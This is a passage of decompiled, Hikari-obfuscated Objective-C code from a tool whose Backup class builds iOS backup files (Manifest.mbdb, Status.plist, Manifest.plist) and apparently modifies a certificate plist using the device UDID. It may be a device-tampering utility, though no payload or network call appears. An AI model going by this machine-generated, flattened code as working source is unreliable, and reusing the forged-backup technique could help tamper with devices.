id v95; // [rsp+A8h] [rbp-118h]
id v96; // [rsp+B0h] [rbp-110h]
id v97; // [rsp+B8h] [rbp-108h]
id v98; // [rsp+C0h] [rbp-100h]
id v99; // [rsp+C8h] [rbp-F8h]
const char *v100; // [rsp+D0h] [rbp-F0h]
const char *v101; // [rsp+D8h] [rbp-E8h]
id v102; // [rsp+E0h] [rbp-E0h]
id v103; // [rsp+E8h] [rbp-D8h]
id v104; // [rsp+F0h] [rbp-D0h]
int v105; // [rsp+F8h] [rbp-C8h]
int v106; // [rsp+FCh] [rbp-C4h] BYREF
__int64 *v107; // [rsp+100h] [rbp-C0h]
SEL v108; // [rsp+108h] [rbp-B8h]
id v109; // [rsp+110h] [rbp-B0h]
id v110; // [rsp+118h] [rbp-A8h]
id v111; // [rsp+120h] [rbp-A0h]
id v112; // [rsp+128h] [rbp-98h]
id v113; // [rsp+130h] [rbp-90h]
id obj; // [rsp+138h] [rbp-88h]
id v115; // [rsp+140h] [rbp-80h]
id *v116; // [rsp+148h] [rbp-78h]
SEL v117; // [rsp+150h] [rbp-70h]
SEL v118; // [rsp+158h] [rbp-68h]
__int64 *v119; // [rsp+160h] [rbp-60h]
id v120; // [rsp+168h] [rbp-58h]
id v121; // [rsp+170h] [rbp-50h]
bool v122; // [rsp+17Eh] [rbp-42h]
char v123; // [rsp+17Fh] [rbp-41h]
bool v124; // [rsp+180h] [rbp-40h]
bool v125; // [rsp+181h] [rbp-3Fh]
bool v126; // [rsp+182h] [rbp-3Eh]
bool v127; // [rsp+183h] [rbp-3Dh]
bool v128; // [rsp+184h] [rbp-3Ch]
bool v129; // [rsp+185h] [rbp-3Bh]
bool v130; // [rsp+186h] [rbp-3Ah]
char v131; // [rsp+187h] [rbp-39h]
int *v132; // [rsp+188h] [rbp-38h]
__int64 v133; // [rsp+190h] [rbp-30h]
v3 = a3;
v115 = self;
v133 = -1;
v105 = dword_10029F7E4;
v106 = -1974549004;
v132 = &v106;
v120 = a3;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v106 > -9069781 )
{
if ( v106 <= 1091936216 )
{
if ( v106 > 589726963 )
{
if ( v106 <= 866901268 )
{
if ( v106 <= 695339643 )
{
switch ( v106 )
{
case 589726964:
v104 = v102;
v7 = 1096879631;
goto LABEL_315;
case 601518820:
objc_release(obj);
v57 = v115;
v58 = objc_msgSend(v115, "generateManifestDb");
v59 = objc_retainAutoreleasedReturnValue(v58);
v60 = objc_msgSend(v59, "toBytes");
v61 = objc_retainAutoreleasedReturnValue(v60);
v62 = objc_msgSend(v120, v117, CFSTR("\r<\xBF;\t\xF9\a\xF5\xA9\x2E\xB7\x83\x05\x98"));
v63 = objc_retainAutoreleasedReturnValue(v62);
objc_msgSend(v61, v118, v63, 1);
objc_release(v63);
objc_release(v61);
objc_release(v59);
v64 = HikariFunctionWrapper_713_1(v57, "generateStatus");
v65 = objc_retainAutoreleasedReturnValue(v64);
v66 = objc_msgSend(v120, v117, CFSTR("\x1B\xF7\xC2\xED\x67\x96Q\x1Fe\x83\xB3&"));
v67 = objc_retainAutoreleasedReturnValue(v66);
objc_msgSend(v65, v118, v67, 1);
objc_release(v67);
objc_release(v65);
v68 = HikariFunctionWrapper_715_1(v57, "generateManifest");
v69 = objc_retainAutoreleasedReturnValue(v68);
v70 = HikariFunctionWrapper_717_1(v120, v117);
v71 = objc_retainAutoreleasedReturnValue(v70);
HikariFunctionWrapper_719_1(v69, v118);
objc_release(v71);
objc_release(v69);
v72 = +[iOSDevice UDID](&OBJC_CLASS___iOSDevice, "UDID");
v82 = objc_retainAutoreleasedReturnValue(v72);
v73 = v57;
v3 = v120;
HikariFunctionWrapper_721_1(v73, "copyAndModifyCertPlistWithUDID:toDirectory:");
v7 = -786401890;
goto LABEL_315;
case 618646353:
*v132 = -1594332532;
break;
}
}
else if ( v106 > 735019171 )
{
if ( v106 == 735019172 )
{
*v132 = -629209229;
}
else if ( v106 == 803796606 )
{
v78 = "writeToFile:atomically:";
v7 = -392426572;
goto LABEL_315;
}
}
else if ( v106 == 695339644 )
{
*v132 = 1911343642;
}
else if ( v106 == 722171248 )
{
*v132 = -505000371;
}
}
else if ( v106 > 1037996406 )
{
if ( v106 > 1054641601 )
{
if ( v106 == 1054641602 )
{
*v132 = -86160319;
}
else if ( v106 == 1062362599 )
{
v77 = "stringByAppendingPathComponent:";
*v132 = -1364904137;
}
}
else
{
if ( v106 == 1037996407 )
{
v6 = 1;
v7 = -1223572438;
v8 = 1853186578;
goto LABEL_307;
}
if ( v106 == 1048170955 )
*v132 = 722171248;
}
}
else if ( v106 > 963414329 )
{
if ( v106 == 963414330 )
{
objc_release(v111);
objc_release(v110);
objc_release(v109);
v6 = 0;
v7 = 963414330;
v8 = -584611210;
goto LABEL_307;
}
if ( v106 == 965417021 )
{
v129 = v96 == v83;
v7 = 376266617;
goto LABEL_315;
}
}
else
{
if ( v106 == 866901269 )
{
v6 = 1;
v55 = v119;
*((_OWORD *)v119 + 3) = 0;
*((_OWORD *)v55 + 2) = 0;
*((_OWORD *)v55 + 1) = 0;
*(_OWORD *)v55 = 0;
v76 = "files";
v7 = -1295242351;
v8 = 866901269;
goto LABEL_307;
}
if ( v106 == 907883132 )
{
v9 = 0;
v7 = 1733215668;
v10 = -607935676;
goto LABEL_303;
}
}
}
else if ( v106 <= 240033890 )
{
if ( v106 <= 103876717 )
{
switch ( v106 )
{
case -9069780:
objc_msgSend(v121, v89, v95);
*v132 = 1933665527;
break;
case 46983805:
v56 = objc_msgSend(v113, v85);
v75 = objc_retainAutoreleasedReturnValue(v56);
HikariFunctionWrapper_705_2(&cfstr_Bm.isa);
*v132 = -827613366;
break;
case 48046970:
*v132 = -872093227;
break;
}
}
else if ( v106 > 181634258 )
{
if ( v106 == 181634259 )
{
v79 = (_QWORD **)(v119 + 2);
v80 = *(_QWORD *)v119[2];
*v132 = -536549825;
}
else if ( v106 == 195140500 )
{
objc_retain(v121);
v16 = HikariFunctionWrapper_729_0(v121, v90);
v17 = objc_retainAutoreleasedReturnValue(v16);
v18 = objc_msgSend(v121, v91);
v19 = objc_retainAutoreleasedReturnValue(v18);
v20 = HikariFunctionWrapper_731_0(v115, v92);
v21 = objc_retainAutoreleasedReturnValue(v20);
objc_release(v19);
objc_release(v17);
v22 = objc_msgSend(v3, v108, v21);
objc_retainAutoreleasedReturnValue(v22);
v23 = objc_msgSend(v121, v93);
objc_retainAutoreleasedReturnValue(v23);
*v132 = -115341991;
}
}
else
{
if ( v106 == 103876718 )
{
v11 = 0;
v7 = -1670353607;
v12 = 46983805;
LABEL_272:
if ( !v11 )
v7 = v12;
goto LABEL_315;
}
if ( v106 == 145949807 )
{
v96 = (char *)v103 + 1;
v7 = -1288750875;
goto LABEL_315;
}
}
}
else if ( v106 > 330920839 )
{
if ( v106 > 503567104 )
{
if ( v106 == 503567105 )
{
v9 = 1;
v7 = -1820515657;
v10 = 965417021;
goto LABEL_303;
}
if ( v106 == 543245238 )
{
v6 = 0;
v7 = 735019172;
v8 = -629209229;
goto LABEL_307;
}
}
else
{
if ( v106 == 330920840 )
{
aBm[13] = v131;
aBm[14] = 32;
aBm[15] = 101;
aBm[16] = 108;
aBm[17] = 32;
aBm[18] = 100;
aBm[19] = 105;
aBm[20] = 114;
aBm[21] = 101;
aBm[22] = 99;
aBm[23] = 116;
aBm[24] = 111;
aBm[25] = 114;
aBm[26] = 105;
aBm[27] = 111;
aBm[28] = 58;
aBm[29] = 32;
aBm[30] = 37;
aBm[31] = 64;
aBm[32] = 0;
strcpy(asc_10029D0D6, "Manifest.mbdb");
strcpy(asc_10029D0BB, "Status.plist");
strcpy(asc_10029D09F, "Manifest.plist");
v6 = 0;
v7 = 1945591188;
v8 = -1230905848;
goto LABEL_307;
}
if ( v106 == 376266617 )
*v132 = 1274169087;
}
}
else if ( v106 > 267353785 )
{
if ( v106 == 267353786 )
{
*v132 = -874990166;
}
else if ( v106 == 269080315 )
{
*v132 = 103876718;
}
}
else if ( v106 == 240033891 )
{
*v116 = 0;
objc_msgSend(
v112,
"createDirectoryAtPath:withIntermediateDirectories:attributes:error:",
v3,
1,
0,
v116);
objc_retain(*v116);
*v132 = 1158949703;
}
else if ( v106 == 249723393 )
{
objc_release(v104);
objc_release(v112);
objc_release(v3);
*v132 = 1096879631;
}
}
else if ( v106 <= 1700154532 )
{
if ( v106 <= 1274169086 )
{
if ( v106 <= 1158949702 )
{
switch ( v106 )
{
case 1091936217:
*v132 = -1594332532;
break;
case 1096879631:
objc_release(v104);
objc_release(v112);
objc_release(v3);
v9 = 1;
v7 = 249723393;
v10 = -643646458;
LABEL_303:
if ( v9 )
v7 = v10;
goto LABEL_315;
case 1104790712:
v117 = v101;
v118 = v100;
v11 = 0;
v7 = 1829837735;
v12 = 601518820;
goto LABEL_272;
}
}
else if ( v106 > 1161155931 )
{
if ( v106 == 1161155932 )
{
*v132 = 1037996407;
}
else if ( v106 == 1243588671 )
{
v11 = !v127;
v7 = 1728736634;
v12 = -572524735;
goto LABEL_272;
}
}
else
{
if ( v106 == 1158949703 )
{
*v116 = 0;
objc_msgSend(
v112,
"createDirectoryAtPath:withIntermediateDirectories:attributes:error:",
v3,
1,
0,
v116);
v113 = *v116;
objc_retain(v113);
v11 = 0;
v7 = 1158949703;
v12 = -443859107;
goto LABEL_272;
}
if ( v106 == 1159534526 )
{
v9 = 1;
v7 = 1378031510;
v10 = -616468641;
goto LABEL_303;
}
}
}
else if ( v106 > 1587342789 )
{
if ( v106 > 1648723686 )
{
if ( v106 == 1648723687 )
{
v11 = 0;
v7 = 695339644;
v12 = 1911343642;
goto LABEL_272;
}
if ( v106 == 1663176645 )
{
v7 = -977864286;
goto LABEL_315;
}
}
else
{
if ( v106 == 1587342790 )
{
v122 = v105 == 0;
v6 = 1;
v7 = 1048170955;
v8 = 1587342790;
goto LABEL_307;
}
if ( v106 == 1621267250 )
{
v95 = objc_msgSend(&OBJC_CLASS___ConcreteFile, v88);
*v132 = 267353786;
}
}
}
else if ( v106 > 1378031509 )
{
if ( v106 == 1378031510 )
{
HikariFunctionWrapper_733_0(obj, v86);
*v132 = -616468641;
}
else if ( v106 == 1557549786 )
{
v11 = !v122;
v7 = 907883132;
v12 = -560371202;
goto LABEL_272;
}
}
else
{
if ( v106 == 1274169087 )
{
v6 = 0;
v7 = -647082109;
v8 = -1704928111;
goto LABEL_307;
}
if ( v106 == 1321662895 )
{
v6 = 1;
v7 = 963414330;
v8 = 1765861109;
goto LABEL_307;
}
}
}
else if ( v106 > 1853186577 )
{
if ( v106 > 1945591187 )
{
if ( v106 > 2014969912 )
{
if ( v106 == 2014969913 )
{
v54 = -881692116;
if ( v130 )
v54 = 1104790712;
*v132 = v54;
v4 = v108;
v5 = v94;
v98 = v97;
LABEL_288:
v100 = v5;
v101 = v4;
}
else if ( v106 == 2037249195 )
{
*v132 = -2032514857;
}
}
else if ( v106 == 1945591188 )
{
aBm[13] = v131;
aBm[14] = 32;
aBm[15] = 101;
aBm[16] = 108;
aBm[17] = 32;
aBm[18] = 100;
aBm[19] = 105;
aBm[20] = 114;
aBm[21] = 101;
aBm[22] = 99;
aBm[23] = 116;
aBm[24] = 111;
aBm[25] = 114;
aBm[26] = 105;
aBm[27] = 111;
aBm[28] = 58;
aBm[29] = 32;
aBm[30] = 37;
aBm[31] = 64;
aBm[32] = 0;
strcpy(asc_10029D0D6, "Manifest.mbdb");
strcpy(asc_10029D0BB, "Status.plist");
strcpy(asc_10029D09F, "Manifest.plist");
*v132 = 330920840;
}
else if ( v106 == 1977703642 )
{
v127 = **v79 == v80;
v9 = 1;
v7 = 1977703642;
v10 = 1243588671;
goto LABEL_303;
}
}
else if ( v106 > 1911343641 )
{
if ( v106 == 1911343642 )
{
v6 = 0;
v7 = 695339644;
v8 = -919699091;
goto LABEL_307;
}
if ( v106 == 1933665527 )
{
v128 = (unsigned __int8)objc_msgSend(v121, v89, v95) == 0;
v9 = 1;
v7 = 1933665527;
v10 = -1950155524;
goto LABEL_303;
}
}
else if ( v106 == 1853186578 )
{
*v132 = -1223572438;
}
else if ( v106 == 1892355417 )
{
v11 = !v125;
v7 = 543245238;
v12 = -194259764;
goto LABEL_272;
}
}
else if ( v106 > 1766780803 )
{
if ( v106 > 1818548170 )
{
if ( v106 == 1818548171 )
{
v7 = 330920840;
goto LABEL_315;
}
if ( v106 == 1829837735 )
{
objc_release(obj);
v24 = v115;
v25 = objc_msgSend(v115, "generateManifestDb");
v26 = objc_retainAutoreleasedReturnValue(v25);
v27 = objc_msgSend(v26, "toBytes");
v28 = objc_retainAutoreleasedReturnValue(v27);
v29 = objc_msgSend(v120, v117, CFSTR("\r<\xBF;\t\xF9\a\xF5\xA9\x2E\xB7\x83\x05\x98"));
v30 = objc_retainAutoreleasedReturnValue(v29);
HikariFunctionWrapper_735_0(v28, v118);
objc_release(v30);
objc_release(v28);
objc_release(v26);
v31 = HikariFunctionWrapper_737_0(v24, "generateStatus");
v32 = objc_retainAutoreleasedReturnValue(v31);
v33 = objc_msgSend(v120, v117, CFSTR("\x1B\xF7\xC2\xED\x67\x96Q\x1Fe\x83\xB3&"));
v34 = objc_retainAutoreleasedReturnValue(v33);
objc_msgSend(v32, v118, v34, 1);
objc_release(v34);
objc_release(v32);
v35 = objc_msgSend(v24, "generateManifest");
v36 = objc_retainAutoreleasedReturnValue(v35);
v37 = objc_msgSend(v120, v117, CFSTR("\xE5\x8E\x02\x80\xA4\x9Bhn\xAF\x00%\xFC\xA4\f\xFE"));
v38 = objc_retainAutoreleasedReturnValue(v37);
HikariFunctionWrapper_739_0(v36, v118);
objc_release(v38);
objc_release(v36);
v39 = +[iOSDevice UDID](&OBJC_CLASS___iOSDevice, "UDID");
v40 = objc_retainAutoreleasedReturnValue(v39);
v41 = v24;
v3 = v120;
objc_msgSend(v41, "copyAndModifyCertPlistWithUDID:toDirectory:", v40, v120);
*v132 = 601518820;
}
}
else if ( v106 == 1766780804 )
{
*v132 = 1977703642;
}
else if ( v106 == 1780551234 )
{
*v132 = 1587342790;
}
}
else if ( v106 > 1733215667 )
{
if ( v106 == 1733215668 )
{
dword_10029F7E4 = 1;
v116 = (id *)(&v74 - 2);
v119 = &v74 - 8;
v107 = &v74 - 16;
objc_retain(v3);
v84 = &OBJC_CLASS___NSFileManager;
v7 = -1907464059;
goto LABEL_315;
}
if ( v106 == 1765861109 )
{
objc_release(v111);
objc_release(v110);
objc_release(v109);
*v132 = 963414330;
}
}
else if ( v106 == 1700154533 )
{
*v132 = 803796606;
}
else if ( v106 == 1728736634 )
{
objc_enumerationMutation(obj);
*v132 = -1897454576;
}
}
if ( v106 > -977864287 )
break;
if ( v106 > -1704928112 )
{
if ( v106 <= -1364904138 )
{
if ( v106 <= -1629714325 )
{
switch ( v106 )
{
case -1704928111:
v9 = 0;
v7 = -198441675;
v10 = -647082109;
goto LABEL_303;
case -1704593362:
*v132 = 2014969913;
break;
case -1670353607:
v14 = HikariFunctionWrapper_725_1(v113, v85);
objc_retainAutoreleasedReturnValue(v14);
HikariFunctionWrapper_727_1(&cfstr_Bm.isa);
*v132 = 46983805;
break;
}
}
else if ( v106 > -1416346149 )
{
if ( v106 == -1416346148 )
{
aBm[7] = v123 ^ 0xFC;
aBm[8] = 32;
aBm[9] = 99;
aBm[10] = 114;
aBm[11] = 101;
aBm[12] = 97;
v131 = 114;
*v132 = 1818548171;
}
else if ( v106 == -1398095373 )
{
v11 = !v124;
v7 = -194259764;
v12 = -1941809434;
goto LABEL_272;
}
}
else
{
if ( v106 == -1629714324 )
{
v6 = 1;
v7 = 145949807;
v8 = -37121254;
goto LABEL_307;
}
if ( v106 == -1594332532 )
{
v6 = 0;
v7 = 1091936217;
v8 = 1161155932;
goto LABEL_307;
}
}
}
else if ( v106 > -1230905849 )
{
if ( v106 > -1091732860 )
{
if ( v106 == -1091732859 )
{
v11 = 0;
v7 = -1806586770;
v12 = -1398095373;
goto LABEL_272;
}
if ( v106 == -1011168473 )
{
v103 = v99;
v6 = 1;
v7 = 1977703642;
v8 = 1766780804;
goto LABEL_307;
}
}
else if ( v106 == -1230905848 )
{
*v132 = 907883132;
}
else if ( v106 == -1223572438 )
{
v125 = v113 == 0;
*v132 = 1892355417;
}
}
else if ( v106 > -1288750876 )
{
if ( v106 == -1288750875 )
{
*v132 = 503567105;
}
else if ( v106 == -1242812728 )
{
v15 = objc_msgSend(v115, v76);
obj = objc_retainAutoreleasedReturnValue(v15);
v86 = "countByEnumeratingWithState:objects:count:";
v87 = objc_msgSend(obj, "countByEnumeratingWithState:objects:count:", v119, v107, 16);
*v132 = -1714233118;
}
}
else
{
if ( v106 == -1364904137 )
{
v11 = 0;
v7 = 1700154533;
v12 = 803796606;
goto LABEL_272;
}
if ( v106 == -1295242351 )
*v132 = -1242812728;
}
}
else if ( v106 <= -1907464060 )
{
if ( v106 <= -1995380255 )
{
switch ( v106 )
{
case -2090911741:
*v132 = -1725635520;
break;
case -2032514857:
v6 = 0;
v7 = -564271576;
v8 = -1855880481;
LABEL_307:
if ( !v6 )
v7 = v8;
LABEL_315:
*v132 = v7;
break;
case -2002498451:
objc_release(v75);
*v132 = 589726964;
v102 = v113;
break;
}
}
else if ( v106 > -1950155525 )
{
if ( v106 == -1950155524 )
{
v11 = !v128;
v7 = -646548089;
v12 = -1629714324;
goto LABEL_272;
}
if ( v106 == -1941809434 )
{
v6 = 1;
v7 = 1158949703;
v8 = 240033891;
goto LABEL_307;
}
}
else if ( v106 == -1995380254 )
{
v53 = v119;
*((_OWORD *)v119 + 3) = 0;
*((_OWORD *)v53 + 2) = 0;
*((_OWORD *)v53 + 1) = 0;
*(_OWORD *)v53 = 0;
*v132 = 866901269;
}
else if ( v106 == -1974549004 )
{
v9 = 1;
v7 = 1780551234;
v10 = 1587342790;
goto LABEL_303;
}
}
else if ( v106 > -1806586771 )
{
if ( v106 > -1725635521 )
{
if ( v106 == -1725635520 )
{
v126 = v87 == 0;
v6 = 1;
v7 = -1805134082;
v8 = -2090911741;
goto LABEL_307;
}
if ( v106 == -1714233118 )
{
v7 = -1725635520;
goto LABEL_315;
}
}
else if ( v106 == -1806586770 )
{
*v132 = -1091732859;
}
else if ( v106 == -1805134082 )
{
v11 = !v126;
v7 = 181634259;
v12 = 1062362599;
goto LABEL_272;
}
}
else if ( v106 > -1855880482 )
{
if ( v106 == -1855880481 )
{
v130 = v97 == 0;
*v132 = -1704593362;
}
else if ( v106 == -1820515657 )
{
*v132 = 965417021;
}
}
else if ( v106 == -1907464059 )
{
*v132 = 1663176645;
}
else if ( v106 == -1897454576 )
{
*v132 = -572524735;
}
}
if ( v106 <= -572524736 )
break;
if ( v106 <= -392426573 )
{
if ( v106 <= -536549826 )
{
switch ( v106 )
{
case -572524735:
v121 = *(id *)(*v81 + 8LL * (_QWORD)v103);
*v132 = -824476201;
break;
case -564271576:
*v132 = -1855880481;
break;
case -560371202:
aBm[0] = 69;
aBm[1] = 114;
aBm[2] = 114;
aBm[3] = 111;
aBm[4] = 114;
aBm[5] = 32;
aBm[6] = 97;
v123 = -112;
*v132 = -1416346148;
break;
}
}
else if ( v106 > -496969904 )
{
if ( v106 == -496969903 )
{
v42 = HikariFunctionWrapper_723_1(v84, "defaultManager");
v43 = objc_retainAutoreleasedReturnValue(v42);
objc_msgSend(v43, "fileExistsAtPath:", v3);
*v132 = -977864286;
}
else if ( v106 == -443859107 )
{
*v132 = 618646353;
}
}
else if ( v106 == -536549825 )
{
v81 = v119 + 1;
*v132 = -94321083;
}
else if ( v106 == -505000371 )
{
v9 = 0;
v7 = 1557549786;
v10 = -505000371;
goto LABEL_303;
}
}
else if ( v106 > -115341992 )
{
if ( v106 > -86160320 )
{
if ( v106 == -86160319 )
{
HikariFunctionWrapper_711_1(v111, v94);
objc_release(v121);
*v132 = 1321662895;
}
else if ( v106 == -37121254 )
{
*v132 = 145949807;
}
}
else
{
if ( v106 == -115341991 )
{
objc_retain(v121);
v45 = HikariFunctionWrapper_707_2(v121, v90);
v46 = objc_retainAutoreleasedReturnValue(v45);
v47 = HikariFunctionWrapper_709_2(v121, v91);
v48 = objc_retainAutoreleasedReturnValue(v47);
v49 = objc_msgSend(v115, v92, v46, v48);
v109 = objc_retainAutoreleasedReturnValue(v49);
objc_release(v48);
objc_release(v46);
v50 = objc_msgSend(v3, v108, v109);
v110 = objc_retainAutoreleasedReturnValue(v50);
v51 = objc_msgSend(v121, v93);
v111 = objc_retainAutoreleasedReturnValue(v51);
v7 = 1054641602;
goto LABEL_315;
}
if ( v106 == -94321083 )
{
*v132 = -881692116;
v98 = v87;
}
}
}
else if ( v106 > -198441676 )
{
if ( v106 == -198441675 )
{
v52 = -1011168473;
if ( v129 )
v52 = 1159534526;
*v132 = v52;
v99 = v96;
}
else if ( v106 == -194259764 )
{
v11 = 0;
v7 = -1995380254;
v12 = 866901269;
goto LABEL_272;
}
}
else if ( v106 == -392426572 )
{
*v132 = 1648723687;
}
else if ( v106 == -364684567 )
{
*v132 = -505000371;
}
}
if ( v106 > -647082110 )
break;
if ( v106 > -872093228 )
{
if ( v106 > -824476202 )
{
if ( v106 == -824476201 )
{
v9 = 0;
v7 = 1621267250;
v10 = -641994797;
goto LABEL_303;
}
if ( v106 == -786401890 )
{
*v132 = 589726964;
v102 = v82;
}
}
else
{
if ( v106 == -872093227 )
{
v6 = 1;
v7 = -1091732859;
v8 = -1806586770;
goto LABEL_307;
}
if ( v106 == -827613366 )
*v132 = -2002498451;
}
}
else if ( v106 > -881692117 )
{
if ( v106 == -881692116 )
{
v83 = v98;
v88 = "class";
v89 = "isKindOfClass:";
v90 = "domain";
v91 = "path";
v92 = "hashedFilenameForDomain:path:";
v108 = "stringByAppendingPathComponent:";
v93 = "contents";
v94 = "writeToFile:atomically:";
*v132 = -1011168473;
v99 = 0;
}
else if ( v106 == -874990166 )
{
v11 = 0;
v7 = -9069780;
v12 = 1933665527;
goto LABEL_272;
}
}
else
{
if ( v106 == -977864286 )
{
v44 = objc_msgSend(v84, "defaultManager");
v112 = objc_retainAutoreleasedReturnValue(v44);
v124 = (unsigned __int8)objc_msgSend(v112, "fileExistsAtPath:", v3) == 0;
v7 = 48046970;
goto LABEL_315;
}
if ( v106 == -919699091 )
{
*v132 = 1104790712;
v4 = v77;
v5 = v78;
goto LABEL_288;
}
}
}
if ( v106 <= -629209230 )
break;
if ( v106 > -607935677 )
{
if ( v106 == -607935676 )
{
dword_10029F7E4 = 1;
objc_retain(v3);
*v132 = 1733215668;
}
else if ( v106 == -584611210 )
{
*v132 = -1629714324;
}
}
else
{
if ( v106 == -629209229 )
{
v11 = 0;
v85 = "localizedDescription";
v7 = 735019172;
v12 = 269080315;
goto LABEL_272;
}
if ( v106 == -616468641 )
{
v13 = objc_msgSend(obj, v86, v119, v107, 16);
v9 = 1;
v97 = v13;
v7 = 1378031510;
v10 = 2037249195;
goto LABEL_303;
}
}
}
if ( v106 > -643646459 )
break;
if ( v106 == -647082109 )
{
*v132 = -1704928111;
}
else if ( v106 == -646548089 )
{
v6 = 1;
v7 = -115341991;
v8 = 195140500;
goto LABEL_307;
}
}
if ( v106 != -641994797 )
break;
objc_msgSend(&OBJC_CLASS___ConcreteFile, v88);
*v132 = 1621267250;
}
}
while ( v106 != -643646458 );
}
// 10025F840: using guessed type __objc2_class OBJC_CLASS___ConcreteFile;
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 10029D170: using guessed type __CFString stru_10029D170;
// 10029D1B0: using guessed type __CFString stru_10029D1B0;
// 10029D1F0: using guessed type __CFString stru_10029D1F0;
// 10029D230: using guessed type __CFString cfstr_Bm;
// 10029F7E4: using guessed type int dword_10029F7E4;
//----- (000000010023ED8D) ----------------------------------------------------
id __cdecl -[Backup generateManifestDb](Backup *self, SEL a2)
{
id v2; // r14
bool v3; // zf
int v4; // eax
int v5; // ecx
id v6; // rax
id v7; // rax
bool v8; // cf
int v9; // ecx
id v10; // rax
id *v11; // rax
NSArray *v12; // rax
NSArray *v13; // rax
int v14; // eax
id v15; // rax
id *v16; // rax
NSArray *v17; // rax
id v18; // rax
__int64 v19; // rax
int v20; // ecx
id v21; // rax
id v22; // rax
id v23; // rax
id v24; // r15
id v26; // [rsp+0h] [rbp-E0h] BYREF
__int64 v27; // [rsp+8h] [rbp-D8h]
_QWORD *v28; // [rsp+10h] [rbp-D0h]
SEL v29; // [rsp+18h] [rbp-C8h]
const char *v30; // [rsp+20h] [rbp-C0h]
id v31; // [rsp+28h] [rbp-B8h]
SEL v32; // [rsp+30h] [rbp-B0h]
__int64 **v33; // [rsp+38h] [rbp-A8h]
id v34; // [rsp+40h] [rbp-A0h]
id v35; // [rsp+48h] [rbp-98h]
Class v36; // [rsp+50h] [rbp-90h]
id v37; // [rsp+58h] [rbp-88h]
__int64 v38; // [rsp+60h] [rbp-80h]
__int64 v39; // [rsp+68h] [rbp-78h]
unsigned int v40; // [rsp+70h] [rbp-70h]
int v41; // [rsp+74h] [rbp-6Ch] BYREF
id *v42; // [rsp+78h] [rbp-68h]
id v43; // [rsp+80h] [rbp-60h]
id v44; // [rsp+88h] [rbp-58h]
id obj; // [rsp+90h] [rbp-50h]
id *v46; // [rsp+98h] [rbp-48h]
bool v47; // [rsp+A5h] [rbp-3Bh]
bool v48; // [rsp+A6h] [rbp-3Ah]
bool v49; // [rsp+A7h] [rbp-39h]
int *v50; // [rsp+A8h] [rbp-38h]
__int64 v51; // [rsp+B0h] [rbp-30h]
v51 = -1;
v40 = 539430920;
v41 = -2106896336;
v50 = &v41;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v41 <= 377556486 )
{
if ( v41 > -847247560 )
{
if ( v41 <= -450614846 )
{
if ( v41 <= -764811048 )
{
switch ( v41 )
{
case -847247559:
*v50 = 324895448;
break;
case -847061058:
*v50 = 640322274;
break;
case -795798588:
objc_enumerationMutation(obj);
v8 = 1;
v4 = -795798588;
v9 = -847061058;
goto LABEL_155;
}
}
else if ( v41 > -607864363 )
{
if ( v41 == -607864362 )
{
LABEL_118:
*v50 = -1601936114;
}
else if ( v41 == -572685209 )
{
*v50 = 564150791;
v37 = v26;
}
}
else
{
if ( v41 == -764811047 )
{
v8 = 1;
v4 = 1979440479;
v9 = -795798588;
goto LABEL_155;
}
if ( v41 == -763729909 )
*v50 = 2126463764;
}
}
else if ( v41 > 55793562 )
{
if ( v41 > 250538592 )
{
if ( v41 == 250538593 )
{
v24 = HikariFunctionWrapper_747_0(v43, "copy");
objc_msgSend(v44, "setRecords:", v24);
objc_release(v24);
objc_release(v43);
objc_autoreleaseReturnValue(v44);
v4 = 1447782965;
goto LABEL_157;
}
if ( v41 == 324895448 )
{
v3 = 0;
v4 = 1427554881;
v5 = -1994898519;
goto LABEL_147;
}
}
else if ( v41 == 55793563 )
{
v27 = **v33;
v28 = v46 + 1;
*v50 = 1989425630;
}
else if ( v41 == 97081364 )
{
*v50 = 1246304600;
}
}
else if ( v41 > -205137583 )
{
if ( v41 == -205137582 )
{
*v50 = 400373864;
}
else if ( v41 == -128607304 )
{
*v50 = -884726240;
}
}
else if ( v41 == -450614845 )
{
v22 = objc_alloc(v36);
objc_msgSend(v22, "init");
*v50 = 1608922794;
}
else if ( v41 == -271534901 )
{
v4 = -572685209;
goto LABEL_157;
}
}
else if ( v41 <= -1536529857 )
{
if ( v41 <= -1994898520 )
{
switch ( v41 )
{
case -2125142517:
v4 = 250538593;
goto LABEL_157;
case -2106896336:
v8 = v40 < 0xB726422;
v4 = -884726240;
v9 = -128607304;
LABEL_155:
if ( v8 )
v4 = v9;
goto LABEL_157;
case -2079209913:
LABEL_77:
*v50 = -271534901;
break;
}
}
else if ( v41 > -1772895087 )
{
if ( v41 == -1772895086 )
{
v4 = -994910784;
goto LABEL_157;
}
if ( v41 == -1601936114 )
{
v33 = (__int64 **)(v46 + 2);
v4 = 1312944812;
goto LABEL_157;
}
}
else
{
if ( v41 == -1994898519 )
{
v15 = +[NSMutableArray array](&OBJC_CLASS___NSMutableArray, "array");
v43 = objc_retainAutoreleasedReturnValue(v15);
v16 = v46;
*((_OWORD *)v46 + 3) = 0;
*((_OWORD *)v16 + 2) = 0;
*((_OWORD *)v16 + 1) = 0;
*(_OWORD *)v16 = 0;
v17 = -[Backup files](self, "files");
obj = objc_retainAutoreleasedReturnValue(v17);
v32 = "countByEnumeratingWithState:objects:count:";
v18 = objc_msgSend(obj, "countByEnumeratingWithState:objects:count:", v46, v42, 16);
v47 = v18 == 0;
v3 = 0;
v26 = v18;
v4 = -1994898519;
v5 = -1099570460;
goto LABEL_147;
}
if ( v41 == -1785494937 )
*v50 = 386305398;
}
}
else if ( v41 > -1099570461 )
{
if ( v41 > -994910785 )
{
if ( v41 == -994910784 )
{
v4 = 1315489631;
goto LABEL_157;
}
if ( v41 == -884726240 )
{
v46 = &v26;
v42 = &v26 - 16;
*v50 = -847247559;
}
}
else if ( v41 == -1099570460 )
{
*v50 = 1822111782;
}
else if ( v41 == -1084505129 )
{
*v50 = 773505232;
}
}
else if ( v41 > -1385261687 )
{
if ( v41 == -1385261686 )
{
v23 = objc_msgSend(*(id *)(*v28 + 8 * v39), v29);
v34 = objc_retainAutoreleasedReturnValue(v23);
*v50 = 377556487;
}
else if ( v41 == -1306287139 )
{
*v50 = -2125142517;
}
}
else
{
if ( v41 == -1536529856 )
{
v21 = HikariFunctionWrapper_743_0(obj, v32);
v8 = 0;
v35 = v21;
v4 = -205137582;
v9 = -1536529856;
goto LABEL_155;
}
if ( v41 == -1387210763 )
{
v39 = v38;
v3 = 0;
v4 = -1084505129;
